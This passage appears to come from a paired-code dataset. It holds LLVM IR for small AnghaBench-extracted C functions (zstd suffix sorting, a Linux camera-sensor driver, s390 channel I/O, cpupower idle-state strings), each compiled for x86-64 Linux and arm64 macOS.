source_filename = "AnghaBench/zstd/lib/dictBuilder/extr_divsufsort.c_trsort.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.TYPE_4__ = type { i64 }
@llvm.used = appending global [1 x ptr] [ptr @trsort], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @trsort(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 {
%5 = alloca %struct.TYPE_4__, align 8
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %5) #3
%6 = tail call i32 @tr_ilg(i32 noundef %2) #3
%7 = shl nsw i32 %6, 1
%8 = sdiv i32 %7, 3
%9 = call i32 @trbudget_init(ptr noundef nonnull %5, i32 noundef %8, i32 noundef %2) #3
%10 = sub nsw i32 0, %2
%11 = load i32, ptr %1, align 4, !tbaa !6
%12 = icmp sgt i32 %11, %10
br i1 %12, label %13, label %88
13: ; preds = %4
%14 = sext i32 %3 to i64
%15 = getelementptr inbounds i32, ptr %0, i64 %14
%16 = getelementptr i8, ptr %1, i64 4
%17 = sext i32 %2 to i64
%18 = getelementptr inbounds i32, ptr %1, i64 %17
%19 = ptrtoint ptr %0 to i64
br label %20
20: ; preds = %13, %81
%21 = phi i32 [ %11, %13 ], [ %86, %81 ]
%22 = phi ptr [ %15, %13 ], [ %85, %81 ]
br label %28
23: ; preds = %69, %65
%24 = phi i32 [ %71, %69 ], [ %32, %65 ]
%25 = phi i32 [ 0, %69 ], [ %67, %65 ]
%26 = phi ptr [ %49, %69 ], [ %66, %65 ]
%27 = load i32, ptr %26, align 4, !tbaa !6
br label %28
28: ; preds = %20, %23
%29 = phi i32 [ %27, %23 ], [ %21, %20 ]
%30 = phi ptr [ %26, %23 ], [ %1, %20 ]
%31 = phi i32 [ %25, %23 ], [ 0, %20 ]
%32 = phi i32 [ %24, %23 ], [ 0, %20 ]
%33 = icmp slt i32 %29, 0
br i1 %33, label %34, label %39
34: ; preds = %28
%35 = sext i32 %29 to i64
%36 = sub nsw i64 0, %35
%37 = getelementptr inbounds i32, ptr %30, i64 %36
%38 = add nsw i32 %31, %29
br label %65
39: ; preds = %28
%40 = icmp eq i32 %31, 0
br i1 %40, label %44, label %41
41: ; preds = %39
%42 = sext i32 %31 to i64
%43 = getelementptr inbounds i32, ptr %30, i64 %42
store i32 %31, ptr %43, align 4, !tbaa !6
br label %44
44: ; preds = %41, %39
%45 = zext nneg i32 %29 to i64
%46 = getelementptr inbounds i32, ptr %0, i64 %45
%47 = load i32, ptr %46, align 4, !tbaa !6
%48 = sext i32 %47 to i64
%49 = getelementptr i32, ptr %16, i64 %48
%50 = ptrtoint ptr %49 to i64
%51 = ptrtoint ptr %30 to i64
%52 = sub i64 %50, %51
%53 = icmp sgt i64 %52, 4
br i1 %53, label %54, label %62
54: ; preds = %44
store i64 0, ptr %5, align 8, !tbaa !10
%55 = call i32 @tr_introsort(ptr noundef nonnull %0, ptr noundef %22, ptr noundef nonnull %1, ptr noundef nonnull %30, ptr noundef nonnull %49, ptr noundef nonnull %5) #3
%56 = load i64, ptr %5, align 8, !tbaa !10
%57 = icmp eq i64 %56, 0
br i1 %57, label %58, label %69
58: ; preds = %54
%59 = sub i64 %51, %50
%60 = lshr exact i64 %59, 2
%61 = trunc i64 %60 to i32
br label %65
62: ; preds = %44
%63 = icmp eq i64 %52, 4
%64 = sext i1 %63 to i32
br label %65
65: ; preds = %62, %58, %34
%66 = phi ptr [ %37, %34 ], [ %49, %62 ], [ %49, %58 ]
%67 = phi i32 [ %38, %34 ], [ %64, %62 ], [ %61, %58 ]
%68 = icmp ult ptr %66, %18
br i1 %68, label %23, label %73, !llvm.loop !13
69: ; preds = %54
%70 = trunc i64 %56 to i32
%71 = add i32 %32, %70
%72 = icmp ult ptr %49, %18
br i1 %72, label %23, label %78, !llvm.loop !13
73: ; preds = %65
%74 = icmp eq i32 %67, 0
br i1 %74, label %78, label %75
75: ; preds = %73
%76 = sext i32 %67 to i64
%77 = getelementptr inbounds i32, ptr %66, i64 %76
store i32 %67, ptr %77, align 4, !tbaa !6
br label %78
78: ; preds = %69, %75, %73
%79 = phi i32 [ %32, %75 ], [ %32, %73 ], [ %71, %69 ]
%80 = icmp eq i32 %79, 0
br i1 %80, label %88, label %81
81: ; preds = %78
%82 = ptrtoint ptr %22 to i64
%83 = sub i64 %82, %19
%84 = ashr exact i64 %83, 2
%85 = getelementptr inbounds i32, ptr %22, i64 %84
%86 = load i32, ptr %1, align 4, !tbaa !6
%87 = icmp sgt i32 %86, %10
br i1 %87, label %20, label %88, !llvm.loop !15
88: ; preds = %81, %78, %4
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %5) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @trbudget_init(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @tr_ilg(i32 noundef) local_unnamed_addr #2
declare i32 @tr_introsort(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !12, i64 0}
!11 = !{!"TYPE_4__", !12, i64 0}
!12 = !{!"long", !8, i64 0}
!13 = distinct !{!13, !14}
!14 = !{!"llvm.loop.mustprogress"}
!15 = distinct !{!15, !14}
| zstd_lib_dictBuilder_extr_divsufsort.c_trsort |
; ModuleID = 'AnghaBench/linux/drivers/media/i2c/extr_s5k6aa.c_s5k6aa_s_stream.c'
source_filename = "AnghaBench/linux/drivers/media/i2c/extr_s5k6aa.c_s5k6aa_s_stream.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.s5k6aa = type { i32, i32, i64, i32, i64 }
@llvm.compiler.used = appending global [1 x ptr] [ptr @s5k6aa_s_stream], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @s5k6aa_s_stream(ptr noundef %0, i32 noundef %1) #0 {
%3 = tail call ptr @to_s5k6aa(ptr noundef %0) #2
%4 = getelementptr inbounds %struct.s5k6aa, ptr %3, i64 0, i32 1
%5 = tail call i32 @mutex_lock(ptr noundef nonnull %4) #2
%6 = load i32, ptr %3, align 8, !tbaa !5
%7 = icmp ne i32 %1, 0
%8 = xor i1 %7, true
%9 = zext i1 %8 to i32
%10 = icmp eq i32 %6, %9
br i1 %10, label %11, label %32
11: ; preds = %2
%12 = getelementptr inbounds %struct.s5k6aa, ptr %3, i64 0, i32 4
%13 = load i64, ptr %12, align 8, !tbaa !11
%14 = icmp eq i64 %13, 0
br i1 %14, label %19, label %15
15: ; preds = %11
%16 = getelementptr inbounds %struct.s5k6aa, ptr %3, i64 0, i32 3
%17 = load i32, ptr %16, align 8, !tbaa !12
%18 = tail call i32 @s5k6aa_set_prev_config(ptr noundef nonnull %3, i32 noundef %17) #2
br label %19
19: ; preds = %15, %11
%20 = phi i32 [ %18, %15 ], [ 0, %11 ]
%21 = getelementptr inbounds %struct.s5k6aa, ptr %3, i64 0, i32 2
%22 = load i64, ptr %21, align 8, !tbaa !13
%23 = icmp eq i64 %22, 0
br i1 %23, label %26, label %24
24: ; preds = %19
%25 = tail call i32 @s5k6aa_set_input_params(ptr noundef nonnull %3) #2
br label %26
26: ; preds = %24, %19
%27 = phi i32 [ %25, %24 ], [ %20, %19 ]
%28 = icmp eq i32 %27, 0
br i1 %28, label %29, label %32
29: ; preds = %26
%30 = zext i1 %7 to i32
%31 = tail call i32 @__s5k6aa_stream(ptr noundef nonnull %3, i32 noundef %30) #2
br label %32
32: ; preds = %26, %29, %2
%33 = phi i32 [ %27, %26 ], [ %31, %29 ], [ 0, %2 ]
%34 = tail call i32 @mutex_unlock(ptr noundef nonnull %4) #2
ret i32 %33
}
declare ptr @to_s5k6aa(ptr noundef) local_unnamed_addr #1
declare i32 @mutex_lock(ptr noundef) local_unnamed_addr #1
declare i32 @s5k6aa_set_prev_config(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @s5k6aa_set_input_params(ptr noundef) local_unnamed_addr #1
declare i32 @__s5k6aa_stream(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @mutex_unlock(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"s5k6aa", !7, i64 0, !7, i64 4, !10, i64 8, !7, i64 16, !10, i64 24}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"long", !8, i64 0}
!11 = !{!6, !10, i64 24}
!12 = !{!6, !7, i64 16}
!13 = !{!6, !10, i64 8}
| ; ModuleID = 'AnghaBench/linux/drivers/media/i2c/extr_s5k6aa.c_s5k6aa_s_stream.c'
source_filename = "AnghaBench/linux/drivers/media/i2c/extr_s5k6aa.c_s5k6aa_s_stream.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @s5k6aa_s_stream], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @s5k6aa_s_stream(ptr noundef %0, i32 noundef %1) #0 {
%3 = tail call ptr @to_s5k6aa(ptr noundef %0) #2
%4 = getelementptr inbounds i8, ptr %3, i64 4
%5 = tail call i32 @mutex_lock(ptr noundef nonnull %4) #2
%6 = load i32, ptr %3, align 8, !tbaa !6
%7 = icmp ne i32 %1, 0
%8 = xor i1 %7, true
%9 = zext i1 %8 to i32
%10 = icmp eq i32 %6, %9
br i1 %10, label %11, label %32
11: ; preds = %2
%12 = getelementptr inbounds i8, ptr %3, i64 24
%13 = load i64, ptr %12, align 8, !tbaa !12
%14 = icmp eq i64 %13, 0
br i1 %14, label %19, label %15
15: ; preds = %11
%16 = getelementptr inbounds i8, ptr %3, i64 16
%17 = load i32, ptr %16, align 8, !tbaa !13
%18 = tail call i32 @s5k6aa_set_prev_config(ptr noundef nonnull %3, i32 noundef %17) #2
br label %19
19: ; preds = %15, %11
%20 = phi i32 [ %18, %15 ], [ 0, %11 ]
%21 = getelementptr inbounds i8, ptr %3, i64 8
%22 = load i64, ptr %21, align 8, !tbaa !14
%23 = icmp eq i64 %22, 0
br i1 %23, label %26, label %24
24: ; preds = %19
%25 = tail call i32 @s5k6aa_set_input_params(ptr noundef nonnull %3) #2
br label %26
26: ; preds = %24, %19
%27 = phi i32 [ %25, %24 ], [ %20, %19 ]
%28 = icmp eq i32 %27, 0
br i1 %28, label %29, label %32
29: ; preds = %26
%30 = zext i1 %7 to i32
%31 = tail call i32 @__s5k6aa_stream(ptr noundef nonnull %3, i32 noundef %30) #2
br label %32
32: ; preds = %26, %29, %2
%33 = phi i32 [ %27, %26 ], [ %31, %29 ], [ 0, %2 ]
%34 = tail call i32 @mutex_unlock(ptr noundef nonnull %4) #2
ret i32 %33
}
declare ptr @to_s5k6aa(ptr noundef) local_unnamed_addr #1
declare i32 @mutex_lock(ptr noundef) local_unnamed_addr #1
declare i32 @s5k6aa_set_prev_config(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @s5k6aa_set_input_params(ptr noundef) local_unnamed_addr #1
declare i32 @__s5k6aa_stream(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @mutex_unlock(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"s5k6aa", !8, i64 0, !8, i64 4, !11, i64 8, !8, i64 16, !11, i64 24}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"long", !9, i64 0}
!12 = !{!7, !11, i64 24}
!13 = !{!7, !8, i64 16}
!14 = !{!7, !11, i64 8}
| linux_drivers_media_i2c_extr_s5k6aa.c_s5k6aa_s_stream |
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/s390/cio/extr_fcx.c_calc_dcw_count.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/s390/cio/extr_fcx.c_calc_dcw_count.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.dcw = type { i32, i64, i64 }
@DCW_FLAGS_CC = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @calc_dcw_count], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @calc_dcw_count(ptr noundef %0) #0 {
%2 = tail call i64 @tca_size(ptr noundef %0) #2
%3 = icmp eq i64 %2, 0
br i1 %3, label %27, label %4
4: ; preds = %1, %17
%5 = phi i64 [ %25, %17 ], [ 0, %1 ]
%6 = phi i32 [ %12, %17 ], [ 0, %1 ]
%7 = load ptr, ptr %0, align 8, !tbaa !5
%8 = getelementptr inbounds i32, ptr %7, i64 %5
%9 = getelementptr inbounds %struct.dcw, ptr %8, i64 0, i32 2
%10 = load i64, ptr %9, align 8, !tbaa !10
%11 = trunc i64 %10 to i32
%12 = add i32 %6, %11
%13 = load i32, ptr %8, align 8, !tbaa !14
%14 = load i32, ptr @DCW_FLAGS_CC, align 4, !tbaa !15
%15 = and i32 %14, %13
%16 = icmp eq i32 %15, 0
br i1 %16, label %27, label %17
17: ; preds = %4
%18 = getelementptr inbounds %struct.dcw, ptr %8, i64 0, i32 1
%19 = load i64, ptr %18, align 8, !tbaa !16
%20 = trunc i64 %19 to i32
%21 = tail call i64 @ALIGN(i32 noundef %20, i32 noundef 4) #2
%22 = add nsw i64 %5, 24
%23 = add i64 %22, %21
%24 = shl i64 %23, 32
%25 = ashr exact i64 %24, 32
%26 = icmp ult i64 %25, %2
br i1 %26, label %4, label %27, !llvm.loop !17
27: ; preds = %17, %4, %1
%28 = phi i32 [ 0, %1 ], [ %12, %4 ], [ %12, %17 ]
ret i32 %28
}
declare i64 @tca_size(ptr noundef) local_unnamed_addr #1
declare i64 @ALIGN(i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"tccb", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !13, i64 16}
!11 = !{!"dcw", !12, i64 0, !13, i64 8, !13, i64 16}
!12 = !{!"int", !8, i64 0}
!13 = !{!"long", !8, i64 0}
!14 = !{!11, !12, i64 0}
!15 = !{!12, !12, i64 0}
!16 = !{!11, !13, i64 8}
!17 = distinct !{!17, !18}
!18 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/s390/cio/extr_fcx.c_calc_dcw_count.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/s390/cio/extr_fcx.c_calc_dcw_count.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@DCW_FLAGS_CC = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @calc_dcw_count], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @calc_dcw_count(ptr noundef %0) #0 {
%2 = tail call i64 @tca_size(ptr noundef %0) #2
%3 = icmp eq i64 %2, 0
br i1 %3, label %27, label %4
4: ; preds = %1, %17
%5 = phi i64 [ %25, %17 ], [ 0, %1 ]
%6 = phi i32 [ %12, %17 ], [ 0, %1 ]
%7 = load ptr, ptr %0, align 8, !tbaa !6
%8 = getelementptr inbounds i32, ptr %7, i64 %5
%9 = getelementptr inbounds i8, ptr %8, i64 16
%10 = load i64, ptr %9, align 8, !tbaa !11
%11 = trunc i64 %10 to i32
%12 = add i32 %6, %11
%13 = load i32, ptr %8, align 8, !tbaa !15
%14 = load i32, ptr @DCW_FLAGS_CC, align 4, !tbaa !16
%15 = and i32 %14, %13
%16 = icmp eq i32 %15, 0
br i1 %16, label %27, label %17
17: ; preds = %4
%18 = getelementptr inbounds i8, ptr %8, i64 8
%19 = load i64, ptr %18, align 8, !tbaa !17
%20 = trunc i64 %19 to i32
%21 = tail call i64 @ALIGN(i32 noundef %20, i32 noundef 4) #2
%22 = add nsw i64 %5, 24
%23 = add i64 %22, %21
%24 = shl i64 %23, 32
%25 = ashr exact i64 %24, 32
%26 = icmp ult i64 %25, %2
br i1 %26, label %4, label %27, !llvm.loop !18
27: ; preds = %17, %4, %1
%28 = phi i32 [ 0, %1 ], [ %12, %4 ], [ %12, %17 ]
ret i32 %28
}
declare i64 @tca_size(ptr noundef) local_unnamed_addr #1
declare i64 @ALIGN(i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"tccb", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !14, i64 16}
!12 = !{!"dcw", !13, i64 0, !14, i64 8, !14, i64 16}
!13 = !{!"int", !9, i64 0}
!14 = !{!"long", !9, i64 0}
!15 = !{!12, !13, i64 0}
!16 = !{!13, !13, i64 0}
!17 = !{!12, !14, i64 8}
!18 = distinct !{!18, !19}
!19 = !{!"llvm.loop.mustprogress"}
| fastsocket_kernel_drivers_s390_cio_extr_fcx.c_calc_dcw_count |
; ModuleID = 'AnghaBench/linux/tools/power/cpupower/lib/extr_cpuidle.c_cpuidle_state_get_one_string.c'
source_filename = "AnghaBench/linux/tools/power/cpupower/lib/extr_cpuidle.c_cpuidle_state_get_one_string.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@MAX_LINE_LEN = dso_local local_unnamed_addr global i32 0, align 4
@MAX_IDLESTATE_STRING_FILES = dso_local local_unnamed_addr global i32 0, align 4
@idlestate_string_files = dso_local local_unnamed_addr global ptr null, align 8
@llvm.compiler.used = appending global [1 x ptr] [ptr @cpuidle_state_get_one_string], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal ptr @cpuidle_state_get_one_string(i32 noundef %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = load i32, ptr @MAX_LINE_LEN, align 4, !tbaa !5
%5 = zext i32 %4 to i64
%6 = alloca i8, i64 %5, align 16
%7 = load i32, ptr @MAX_IDLESTATE_STRING_FILES, align 4, !tbaa !5
%8 = icmp ugt i32 %7, %2
br i1 %8, label %9, label %31
9: ; preds = %3
%10 = load ptr, ptr @idlestate_string_files, align 8, !tbaa !9
%11 = zext i32 %2 to i64
%12 = getelementptr inbounds i32, ptr %10, i64 %11
%13 = load i32, ptr %12, align 4, !tbaa !5
%14 = call i32 @cpuidle_state_read_file(i32 noundef %0, i32 noundef %1, i32 noundef %13, ptr noundef nonnull %6, i32 noundef %4) #3
%15 = icmp eq i32 %14, 0
br i1 %15, label %31, label %16
16: ; preds = %9
%17 = call ptr @strdup(ptr noundef nonnull %6)
%18 = icmp eq ptr %17, null
br i1 %18, label %31, label %19
19: ; preds = %16
%20 = call i32 @strlen(ptr noundef nonnull %17) #3
%21 = sext i32 %20 to i64
%22 = getelementptr i8, ptr %17, i64 %21
%23 = getelementptr i8, ptr %22, i64 -1
%24 = load i8, ptr %23, align 1, !tbaa !11
%25 = icmp eq i8 %24, 10
br i1 %25, label %26, label %31
26: ; preds = %19
%27 = call i32 @strlen(ptr noundef nonnull %17) #3
%28 = sext i32 %27 to i64
%29 = getelementptr i8, ptr %17, i64 %28
%30 = getelementptr i8, ptr %29, i64 -1
store i8 0, ptr %30, align 1, !tbaa !11
br label %31
31: ; preds = %19, %26, %16, %9, %3
%32 = phi ptr [ null, %3 ], [ null, %9 ], [ null, %16 ], [ %17, %26 ], [ %17, %19 ]
ret ptr %32
}
declare i32 @cpuidle_state_read_file(i32 noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
; Function Attrs: mustprogress nofree nounwind willreturn memory(argmem: readwrite, inaccessiblemem: readwrite)
declare noalias ptr @strdup(ptr nocapture noundef readonly) local_unnamed_addr #2
declare i32 @strlen(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { mustprogress nofree nounwind willreturn memory(argmem: readwrite, inaccessiblemem: readwrite) "alloc-family"="malloc" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !10, i64 0}
!10 = !{!"any pointer", !7, i64 0}
!11 = !{!7, !7, i64 0}
| ; ModuleID = 'AnghaBench/linux/tools/power/cpupower/lib/extr_cpuidle.c_cpuidle_state_get_one_string.c'
source_filename = "AnghaBench/linux/tools/power/cpupower/lib/extr_cpuidle.c_cpuidle_state_get_one_string.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@MAX_LINE_LEN = common local_unnamed_addr global i32 0, align 4
@MAX_IDLESTATE_STRING_FILES = common local_unnamed_addr global i32 0, align 4
@idlestate_string_files = common local_unnamed_addr global ptr null, align 8
@llvm.used = appending global [1 x ptr] [ptr @cpuidle_state_get_one_string], section "llvm.metadata"
